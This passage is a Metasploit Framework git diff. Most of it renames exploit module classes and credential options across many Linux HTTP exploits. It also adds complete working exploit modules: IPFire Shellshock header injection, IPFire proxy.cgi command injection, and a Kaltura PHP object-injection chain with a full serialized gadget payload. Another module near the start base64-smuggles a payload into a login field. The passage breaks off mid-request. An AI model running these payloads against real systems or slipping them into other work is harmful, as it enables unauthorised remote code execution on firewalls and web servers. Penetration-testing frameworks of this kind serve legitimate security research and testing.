      [\s]+(?[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body + + if version && Gem::Version.new(version) <= Gem::Version.new('2.5.3') + vprint_good("Version Detected: #{version}") + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def exploit + begin + vprint_status('Sending malicious login') + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'vars_post' => + { + 'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\", + 'password' => Rex::Text.rand_text_alpha(5) + } + ) + + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end +end diff --git a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb index 27d546f05b..a63ef51506 100644 --- a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb +++ b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper diff --git a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb index 0b43b461ad..36fdc4841d 100644 --- a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb +++ b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /DD-WRT/ ] } diff --git a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb index d0fe19aec3..7b1cbbb6d3 100644 --- a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index accdee0cdb..9e52b2400d 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dlink_dcs931l_upload.rb b/modules/exploits/linux/http/dlink_dcs931l_upload.rb index 1fb8bbaf5e..ac4482c5b0 100644 --- a/modules/exploits/linux/http/dlink_dcs931l_upload.rb +++ b/modules/exploits/linux/http/dlink_dcs931l_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient @@ -60,16 +60,16 @@ class Metasploit4 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [true, 'Camera username', 'admin']), - OptString.new('PASSWORD', [false, 'Camera password (default: blank)', '']) + OptString.new('HttpUsername', [true, 'Camera username', 'admin']), + OptString.new('HttpPassword', [false, 'Camera password (default: blank)', '']) ], self.class) end def check res = send_request_cgi( 'uri' => normalize_uri('uploadfile.htm'), - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'] - )) + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) + ) unless res vprint_status("The connection timed out.") @@ -126,7 +126,7 @@ class Metasploit4 < Msf::Exploit::Remote res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri('setSystemAdmin'), - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'vars_post' => Hash[{ 'ReplySuccessPage' => 'advanced.htm', 'ReplyErrorPage' => 'errradv.htm', @@ -203,7 +203,7 @@ EOF send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri('setFileUpload'), - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data) end diff --git a/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb b/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb index 543ac2c857..e4660dc305 100644 --- a/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb +++ b/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Telnet include Msf::Exploit::Remote::HttpClient @@ -46,8 +46,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [ true, 'User to login with', 'admin']), - OptString.new('PASSWORD', [ false, 'Password to login with', '']) + OptString.new('HttpUsername', [ true, 'User to login with', 'admin']), + OptString.new('HttpPassword', [ false, 'Password to login with', '']) ], self.class) register_advanced_options( @@ -66,8 +66,8 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] || '' + user = datastore['HttpUsername'] + pass = datastore['HttpPassword'] || '' test_login(user, pass) exploit_telnet diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index d9a1f0ef17..7f4eedea14 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 4470db0325..603be9dcc2 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb index 314bc380bd..836f6091b3 100644 --- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb +++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # Because only has been tested on a QEMU emulated environment HttpFingerprint = { :pattern => [ /Boa/ ] } diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb index c2b8c13e31..e0edc210c1 100644 --- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb +++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb index 84e8fbe741..a6957b0115 100644 --- a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb +++ b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb index 914ba26974..9327460abf 100644 --- a/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb index ef34cda681..f58e7ef41c 100644 --- a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dlink_hnap_bof.rb b/modules/exploits/linux/http/dlink_hnap_bof.rb index 70967ebe23..1e152c7bb3 100644 --- a/modules/exploits/linux/http/dlink_hnap_bof.rb +++ b/modules/exploits/linux/http/dlink_hnap_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb b/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb index 0d747ee3b8..c6e14ef89a 100644 --- a/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index df5eab20f3..396e03d2d5 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index 5478e1f05c..599c0ae82c 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/dreambox_openpli_shell.rb b/modules/exploits/linux/http/dreambox_openpli_shell.rb index b788d79503..0f79eb3ee7 100644 --- a/modules/exploits/linux/http/dreambox_openpli_shell.rb +++ b/modules/exploits/linux/http/dreambox_openpli_shell.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index dc3a532f2f..870881ba4d 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager diff --git a/modules/exploits/linux/http/esva_exec.rb b/modules/exploits/linux/http/esva_exec.rb index 86c03e5227..3e812db793 100644 --- a/modules/exploits/linux/http/esva_exec.rb +++ b/modules/exploits/linux/http/esva_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index dbb7f728db..b2be257015 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'nokogiri' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper @@ -55,8 +55,8 @@ class Metasploit3 < Msf::Exploit::Remote Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']), - OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), - OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']) + OptString.new('HttpUsername', [true, 'The username to authenticate with', 'admin']), + OptString.new('HttpPassword', [true, 'The password to authenticate with', 'admin']) ]) register_advanced_options( [ @@ -103,8 +103,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'data' => pay, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] + 'username' => datastore['HttpUsername'], + 'password' => datastore['HttpPassword'] ) if res return res diff --git a/modules/exploits/linux/http/f5_icontrol_exec.rb b/modules/exploits/linux/http/f5_icontrol_exec.rb index a62532c29a..833681f114 100644 --- a/modules/exploits/linux/http/f5_icontrol_exec.rb +++ b/modules/exploits/linux/http/f5_icontrol_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -43,8 +43,8 @@ class Metasploit3 < Msf::Exploit::Remote Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']), - OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), - OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']) + OptString.new('HttpUsername', [true, 'The username to authenticate with', 'admin']), + OptString.new('HttpPassword', [true, 'The password to authenticate with', 'admin']) ], self.class) end @@ -61,8 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), 'method' => 'POST', 'data' => get_hostname, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] + 'username' => datastore['HttpUsername'], + 'password' => datastore['HttpPassword'] }) res.body =~ /y:string">(.*)<\/return/ @@ -73,8 +73,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), 'method' => 'POST', 'data' => get_hostname, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] + 'username' => datastore['HttpUsername'], + 'password' => datastore['HttpPassword'] }) res.body =~ /y:string">(.*)<\/return/ @@ -95,8 +95,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), 'method' => 'POST', 'data' => pay, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] + 'username' => datastore['HttpUsername'], + 'password' => datastore['HttpPassword'] }) return Exploit::CheckCode::Vulnerable @@ -120,8 +120,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), 'method' => 'POST', 'data' => pay, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] + 'username' => datastore['HttpUsername'], + 'password' => datastore['HttpPassword'] }) end diff --git a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb index dff154782b..554c48b12f 100644 --- a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb +++ b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/fritzbox_echo_exec.rb b/modules/exploits/linux/http/fritzbox_echo_exec.rb index da57034a85..8f634e376a 100644 --- a/modules/exploits/linux/http/fritzbox_echo_exec.rb +++ b/modules/exploits/linux/http/fritzbox_echo_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/gitlist_exec.rb b/modules/exploits/linux/http/gitlist_exec.rb index 2c4caca16b..64a57f904f 100644 --- a/modules/exploits/linux/http/gitlist_exec.rb +++ b/modules/exploits/linux/http/gitlist_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/gpsd_format_string.rb b/modules/exploits/linux/http/gpsd_format_string.rb index 1a1b961b1c..c29ee861d9 100644 --- a/modules/exploits/linux/http/gpsd_format_string.rb +++ b/modules/exploits/linux/http/gpsd_format_string.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb index f3a9285a0b..112999f051 100644 --- a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb +++ b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote\/1\.1/ ] } diff --git a/modules/exploits/linux/http/hp_system_management.rb b/modules/exploits/linux/http/hp_system_management.rb index 5ebaca92ab..b478063baa 100644 --- a/modules/exploits/linux/http/hp_system_management.rb +++ b/modules/exploits/linux/http/hp_system_management.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] } diff --git a/modules/exploits/linux/http/ipfire_bashbug_exec.rb b/modules/exploits/linux/http/ipfire_bashbug_exec.rb new file mode 100644 index 0000000000..6d66e2a588 --- /dev/null +++ b/modules/exploits/linux/http/ipfire_bashbug_exec.rb @@ -0,0 +1,113 @@ +## +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + + Rank = ExcellentRanking + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IPFire Bash Environment Variable Injection (Shellshock)', + 'Description' => %q( + IPFire, a free linux based open source firewall distribution, + version <= 2.15 Update Core 82 contains an authenticated remote + command execution vulnerability via shellshock in the request headers. + ), + 'Author' => + [ + 'h00die ', # module + 'Claudio Viviani' # discovery + ], + 'References' => + [ + [ 'EDB', '34839' ], + [ 'CVE', '2014-6271'] + ], + 'License' => MSF_LICENSE, + 'Platform' => %w( linux unix ), + 'Privileged' => false, + 'DefaultOptions' => + { + 'SSL' => true, + 'PAYLOAD' => 'cmd/unix/generic' + }, + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic' + } + }, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 29 2014' + ) + ) + + register_options( + [ + OptString.new('USERNAME', [ true, 'User to login with', 'admin']), + OptString.new('PASSWORD', [ false, 'Password to login with', '']), + Opt::RPORT(444) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => '/cgi-bin/index.cgi', + 'method' => 'GET' + ) + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401 + /\IPFire (?[\d.]{4}) \([\w]+\) - Core Update (?[\d]+)/ =~ res.body + + if version && update && version == "2.15" && update.to_i < 83 + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + # + # CVE-2014-6271 + # + def cve_2014_6271(cmd) + %{() { :;}; /bin/bash -c "#{cmd}" } + end + + def exploit + begin + payload = cve_2014_6271(datastore['CMD']) + vprint_status("Exploiting with payload: #{payload}") + res = send_request_cgi( + 'uri' => '/cgi-bin/index.cgi', + 'method' => 'GET', + 'headers' => { 'VULN' => payload } + ) + + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401 + /
    • Device: \/dev\/(?.+) reports/m =~ res.body + print_good(output) unless output.nil? + + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end +end diff --git a/modules/exploits/linux/http/ipfire_proxy_exec.rb b/modules/exploits/linux/http/ipfire_proxy_exec.rb new file mode 100644 index 0000000000..887c20e3be --- /dev/null +++ b/modules/exploits/linux/http/ipfire_proxy_exec.rb @@ -0,0 +1,119 @@ +## +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + + Rank = ExcellentRanking + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IPFire proxy.cgi RCE', + 'Description' => %q( + IPFire, a free linux based open source firewall distribution, + version < 2.19 Update Core 101 contains a remote command execution + vulnerability in the proxy.cgi page. + ), + 'Author' => + [ + 'h00die ', # module + 'Yann CAM' # discovery + ], + 'References' => + [ + [ 'EDB', '39765' ], + [ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released'] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Privileged' => false, + 'DefaultOptions' => { 'SSL' => true }, + 'Arch' => [ ARCH_CMD ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl awk openssl' + } + }, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 04 2016' + ) + ) + + register_options( + [ + OptString.new('USERNAME', [ true, 'User to login with', 'admin']), + OptString.new('PASSWORD', [ false, 'Password to login with', '']), + Opt::RPORT(444) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => '/cgi-bin/pakfire.cgi', + 'method' => 'GET' + ) + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200 + /\IPFire (?[\d.]{4}) \([\w]+\) - Core Update (?[\d]+)/ =~ res.body + + if version && update && version == "2.19" && update.to_i < 101 + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def exploit + begin + # To manually view the vuln page, click to proxy.cgi. At the bottom + # select Local, and save. Ignore the error box, at the bottom of + # the page click the button: User Management. + + payload_formatted = "||#{payload.encoded};#" + post_data = "NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}" + post_data << "&NCSA_GROUP=standard" + post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}" + post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}" + post_data << "&SUBMIT=Create+user" + post_data << "&ACTION=Add" + post_data << "&NCSA_MIN_PASS_LEN=6" + + res = send_request_cgi( + 'uri' => '/cgi-bin/proxy.cgi', + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => + { + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi" + }, + 'data' => post_data + ) + + # success means we hang our session, and wont get back a response + if res + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200 + end + + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end +end diff --git a/modules/exploits/linux/http/kaltura_unserialize_rce.rb b/modules/exploits/linux/http/kaltura_unserialize_rce.rb new file mode 100644 index 0000000000..fe2be48eff --- /dev/null +++ b/modules/exploits/linux/http/kaltura_unserialize_rce.rb @@ -0,0 +1,101 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Kaltura Remote PHP Code Execution', + 'Description' => %q{ + This module exploits an Object Injection vulnerability in Kaltura. + By exploiting this vulnerability, unauthenticated users can execute + arbitrary code under the context of the web server user. + + Kaltura has a module named keditorservices that takes user input + and then uses it as an unserialized function parameter. The constructed + object is based on the SektionEins Zend code execution POP chain PoC, + with a minor modification to ensure Kaltura processes it and the + Zend_Log function's __destruct() method is called. Kaltura versions + prior to 11.1.0-2 are affected by this issue. + + This module was tested against Kaltura 11.1.0 installed on CentOS 6.8. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Security-Assessment.com', # discovery + 'Mehmet Ince ' # msf module + ], + 'References' => + [ + ['EDB', '39563'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ ['Automatic', {}] ], + 'DisclosureDate' => 'Mar 15 2016', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']) + ] + ) + end + + def check + r = rand_text_alpha(15 + rand(4)) + cmd = "print_r(#{r}).die()" + + p = "" + p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";" + p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";" + p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";" + p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";" + p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";" + p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";" + p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}" + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'), + 'vars_get' => { + 'kdata' => Rex::Text.encode_base64(p) + } + ) + + if res && res.body.include?(r) + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()" + + p = "" + p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";" + p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";" + p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";" + p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";" + p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";" + p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";" + p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}" + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 